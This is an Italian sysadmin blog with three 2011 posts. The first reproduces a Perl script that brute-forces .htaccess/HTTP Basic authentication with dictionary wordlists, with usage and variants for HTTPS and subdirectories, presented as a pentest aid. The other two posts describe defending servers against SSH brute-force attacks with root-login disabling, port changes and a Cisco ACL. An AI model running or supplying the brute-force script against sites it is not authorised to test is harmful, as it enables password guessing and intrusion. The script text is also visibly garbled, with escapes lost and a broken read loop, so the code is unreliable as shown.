21/10/2011

Script perl per attacchi bruteforce contro l'autenticazione .htaccess

Premessa

Questo script non è farina del mio sacco. Il solo scopo di questo post è quello di mostrarne il funzionamento, in modo da semplificare la vita agli amministratori di sistema che volessero saggiare la robustezza delle credenziali .htaccess per l'accesso ai loro siti Web.

 

brute.jpg

Script

#!/usr/bin/perl
###
#
# brute password crackalacker. useful for anything that uses .htaccess
# or other basic authentication methods.
#
# don't use it for anything stupid. it's for pentesting.
# - nwo
#
# 11/2/2007
#
###

use LWP::UserAgent;

sub usage() {
$progname = $0;
print "+--- created by nwo ---+n";
print "$progname (ip) (user) (dictionary file)n";
print "n";
exit(0);
}

sub auth() {
local($pw) = @_;
$ua = LWP::UserAgent->new;
$req = HTTP::Request->new(GET => "http://$ip/");
$req->authorization_basic($user, $pw);
@data = $ua->request($req)->as_string;
foreach $line (@data) {
if($line =~ /401/) {
return "0";
} else {
return "1";
}
}
}
$ip = $ARGV[0];
$user = $ARGV[1];
$dict = $ARGV[2];
if($dict eq "") {
$dict = "D8.DIC";
}
if($user eq "") { &usage; }

open(D, "$dict") || die "$!";
while() {
chomp($line = $_);
print "Trying $line....";
if((&auth($line)) eq "0") {
print "failed. Next..n";
next;
}
if((&auth($line)) eq "1") {
print "success! Password is $linen";
exit(0);
}
}

Lo usage dello script (come riportato nel sorgente) è il seguente:

perl htbrute.pl <ip del sito> <user> <dizionario>

Ad esempio:

perl htbrute.pl 192.168.1.1 admin italian

In particolare, i dizionari sono presenti nella directory /usr/share/dict. Potete comunque installarne di nuovi mediante il comando:

nightfly@nightbox:~$ sudo apt-get install <nome del dizionario>

I dizionari disponibili per l'installazione sono i seguenti (divisi in base alla lingua):

wgerman-medical
wfinnish
wcanadian-small
wcanadian-large
wcanadian-insane
wcanadian-huge
wcanadian
wbritish-small
wbritish-large
wbritish-insane
wbritish-huge
wamerican-small
wamerican-large
wamerican-insane
wamerican-huge
wukrainian
wswiss
wswedish
wspanish
wportuguese
wpolish
wogerman
wnorwegian
wngerman
witalian
wgalician-minimos
wfrench
wfaroese
wdutch
wdanish
wcatalan
wbulgarian
wbritish
wbrazilian
wamerican
miscfiles

Infine, nel caso in cui il nostro sito fosse raggiungibile solo mediante HTTPS, basta modificare la seguente stringa:

$req = HTTP::Request->new(GET => "http://$ip/");

in:

$req = HTTP::Request->new(GET => "https://$ip/");

Discorso simile va fatto se occorre controllare una determinata sottodirectory:

$req = HTTP::Request->new(GET => "http://$ip/nomedir");

Buon PenTest.

04/08/2011

Script kiddie 0 - 1 Nazareno

In questo post vi ho parlato del lamer che si ostinava a bombardare i miei server sulla porta SSH standard. Essendo che la maggior parte degli attacchi proveniva da IP appartenenti a KoreaNET, ho deciso di impostare delle opportune ACL direttamente sul router.

Il tizio, però, accortosi di quanto accaduto, ha cominciato ad utilizzare altre shell su provider diversi, soprattutto africani. Poichè non ho intenzione di blacklistare tutto il mondo, ho pensato di correre ai ripari in modo diverso.

Per prima cosa, analizzando il fail auth.log ho notato che tutti i tentativi di accesso venivano effettuati utilizzando come username root:

Jul 31 11:31:20 nightbox sshd[26506]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=125.132.225.70  user=root

Jul 31 11:31:22 nightbox sshd[26508]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=14.45.203.1  user=root

Jul 31 11:31:22 nightbox sshd[26511]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=41.236.232.32  user=root

Ho quindi disabilitato l'accesso root, agendo direttamente sul file sshd_config presente in /etc/ssh:

PermitRootLogin no

Adesso potrà provare tutti i dizionari che vuole, ma ogni tentativo di login come root gli risponderà picche.

Inoltre, poichè mi secca ricevere miliardi di mail da fail2ban perchè questo tizio ha deciso che il suo nuovo hobby è bombardare i range di IP italiani (tra cui quelli dei miei server) ho messo in ascolto il servizio SSH su una porta non standard (compresa tra 1024 e 65535). Non credo sia tanto skillato da fare un nmap per individuare la nuova porta su cui SSH è in listening.

Vi terrò comunque aggiornati sugli ulteriori sviluppi.

A presto.

03/08/2011

Attacco bruteforce SSH su range di IP italiani

Da circa una settimana fail2ban mi segnala tutta una serie di attacchi bruteforce diretti al servizio SSH in ascolto sui miei server. Questi attacchi si verificano sempre agli stessi orari, ovvero verso le 11 di mattina e verso le 23 di sera. Inoltre, provengono da diversi indirizzi IP, soprattutto coreani, il che mi fa sospettare che vengano pilotati da uno dei tanti lamer di turno in possesso di una piccola botnet composta da zombie.

Facendo un nmap su 3 dei PC da cui proviene l'attacco, ho notato la presenza della porta 20000 TCP aperta, la quale accetta connessioni SSH in ingresso mediante scambio delle chiavi. Ecco come il lamerozzo pilota la sua botnet...

Interesting ports on 222.117.21.18:
Not shown: 992 closed ports
PORT      STATE    SERVICE
111/tcp   open     rpcbind
135/tcp   filtered msrpc
139/tcp   filtered netbios-ssn
445/tcp   filtered microsoft-ds
1234/tcp  open     hotline
2869/tcp  filtered unknown
4444/tcp  filtered krb524
20000/tcp open     unknown

Ma come fare per contrastare questi attacchi? Semplice, basta impostare delle opportune ACL deirettamente sul router (sempre che il vostro router sia Cisco).

Nella fattispecie, ecco l'ACL che sto utilizzando:

access-list 101 deny ip host 127.0.0.1 any log
access-list 101 deny ip host 255.255.255.255 any log
access-list 101 deny ip 10.0.0.0 0.255.255.255 any log
access-list 101 deny ip 172.16.0.0 0.15.255.255 any log
access-list 101 deny ip 224.0.0.0 15.255.255.255 any log
access-list 101 permit icmp any any echo-reply
access-list 101 deny icmp any any
access-list 101 deny ip 121.128.0.0 0.31.255.255 any log
access-list 101 deny ip 121.160.0.0 0.31.255.255 any log
access-list 101 deny ip 118.32.0.0 0.31.255.255 any log
access-list 101 deny ip 59.0.0.0 0.31.255.255 any log
access-list 101 deny ip 61.76.0.0 0.3.255.255 any log
access-list 101 deny ip 119.192.0.0 0.31.255.255 any log
access-list 101 deny ip 61.72.0.0 0.3.255.255 any log
access-list 101 deny ip 221.144.0.0 0.15.255.255 any log
access-list 101 deny ip 222.96.0.0 0.15.255.255 any log
access-list 101 deny ip 115.0.0.0 0.15.255.255 any log
access-list 101 deny ip 220.92.0.0 0.3.255.255 any log
access-list 101 deny ip 221.163.0.0 0.15.255.255 any log
access-list 101 deny ip 220.116.0.0 0.15.255.255 any log 
access-list 101 deny ip 112.160.0.0 0.31.255.255 any log
access-list 101 deny ip 175.192.0.0 0.63.255.255 any log
access-list 101 permit ip any any

Per lo più si tratta di blocchi di indirizzi /11, /12, /13 e /14. E' stato facile per me individuare la wildcard da utilizzare nelle regole dell'ACL poichè fail2ban fornisce il CIDR degli indirizzi, riportandolo nelle mail di notifica:

# ENGLISH

KRNIC is not an ISP but a National Internet Registry similar to APNIC.

[ Network Information ]

IPv4 Address : 115.0.0.0 - 115.23.255.255 (/12+/13)

Service Name : KORNET

Organization Name : Korea Telecom

Organization ID : ORG1600

Address : 206, Jungja-dong, Bundang-gu, Sungnam-ci

Zip Code : 463-711

Registration Date : 20080703

ecc.

Adesso il lamer potrà sfruttare PC connessi ad altri provider, ma non quelli di KORNET.

A presto.